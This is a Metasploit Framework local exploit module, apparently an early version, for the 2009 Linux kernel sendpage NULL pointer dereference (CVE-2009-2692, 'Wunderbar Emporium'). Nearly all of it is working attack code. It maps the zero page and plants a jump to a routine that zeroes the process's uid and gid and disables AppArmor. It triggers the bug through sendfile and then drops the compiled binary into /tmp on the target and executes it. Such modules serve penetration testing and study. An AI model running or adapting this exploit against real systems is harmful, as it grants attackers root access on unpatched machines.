##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
AKA Wunderbar Emporium
},
'License' => MSF_LICENSE,
'Author' =>
[
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
],
'DefaultTarget' => 0,
}
))
end
def exploit
sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
;push eax
call exit
|
# Set up the same include order as the bionic build system.
# See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]
cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <sys/mman.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
/*
OpenBSD's strcmp from string/strcmp.c in bionic
*/
int
strcmp(const char *s1, const char *s2)
{
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
|)
[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
# This parses without any trouble, but actually calling perror() causes
# immediate segfaults.
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
# For some ungodly reason, NULL ends up being undefined when parsing this
# guy, which of course causes parse errors.
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
].each do |fname|
print_status("Parsing c file #{fname}")
cparser.parse(File.read(fname), fname)
end
print_status("Unix socket.h")
unix_socket_h(sc)
current_task_struct_h(sc)
case target.arch.first
when ARCH_X86
print_status("syscall wrappers")
linux_x86_syscall_wrappers(sc)
main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif
#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
PF_BLUETOOTH,
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};
int *apparmor_enabled;
int got_ring0 = 0;
unsigned long uid, gid;
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
printf("Unable to obtain symbol listing!\n");
return 0;
}
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf(" [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
static void
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return;
}
int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
got_ring0 = 1;
if (apparmor_enabled && *apparmor_enabled) {
*apparmor_enabled = 0;
}
change_cred();
return -1;
}
const char *shellcode =
"";
int shellcode_size = 0;
int main() {
int i = 0;
int d;
int in_fd, out_fd;
char *mapped;
char template[] = "/tmp/sendfile.XXXXXX";
int (*func)();
uid = getuid(), gid = getgid();
mapped = mmap(NULL , 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
if (mapped == NULL) {
printf("Mapped zero page!\n");
} else {
exit(1);
}
// jmp dword near [dword 0x8]
mapped[0] = '\xff';
mapped[1] = '\x25';
*(unsigned long *)&mapped[2] = 8;
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;
for (i = 0; i < 16; i++) {
printf("\\\\x%02x", (unsigned char)mapped[i]);
}
printf("\n");
for (d = 0; domains[d] != DOMAINS_STOP; d++) {
//printf("Next domain ... ");
out_fd = socket(domains[d], SOCK_DGRAM, 0);
if (out_fd > 0) {
printf("Got domain[%d]\n", d);
break;
}
if (out_fd < 0) {
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
exit(1);
}
}
unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777);
printf("Opened temp file: %d\n", in_fd);
unlink(template);
printf("Calling ftruncate\n");
ftruncate(in_fd, 4096);
printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
sendfile(out_fd, in_fd, NULL, 4096);
printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
printf("UID: %d GID: %d\n", getuid(), getgid());
func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// weaksauce memcpy so we don't have to #include <string.h>
printf("Copying %d bytes of shellcode\n", shellcode_size);
for (i = 0; i < shellcode_size; i++) {
(char)func[i] = (char)shellcode[i];
}
printf("Calling shellcode: 0x%p\n", func);
//sigtrap();
func();
return got_ring0;
}
^
main.gsub!(/shellcode =/) do
# split the payload into 16-byte chunks and dump it out as a
# hex-escaped C string
%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
end
sc.assemble
begin
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
end
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end
#puts Rex::Text.to_hex_dump(foo)
File.open("payload.bin", "wb") {|fd|
fd.write elf
}
print_status "Writing exploit executable (#{elf.length} bytes)"
cmd_exec("rm /tmp/sendpage")
write_file("/tmp/sendpage", elf)
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
output.each_line { |line| print_debug line.chomp }
#cmd_exec("rm /tmp/sendpage")
end
end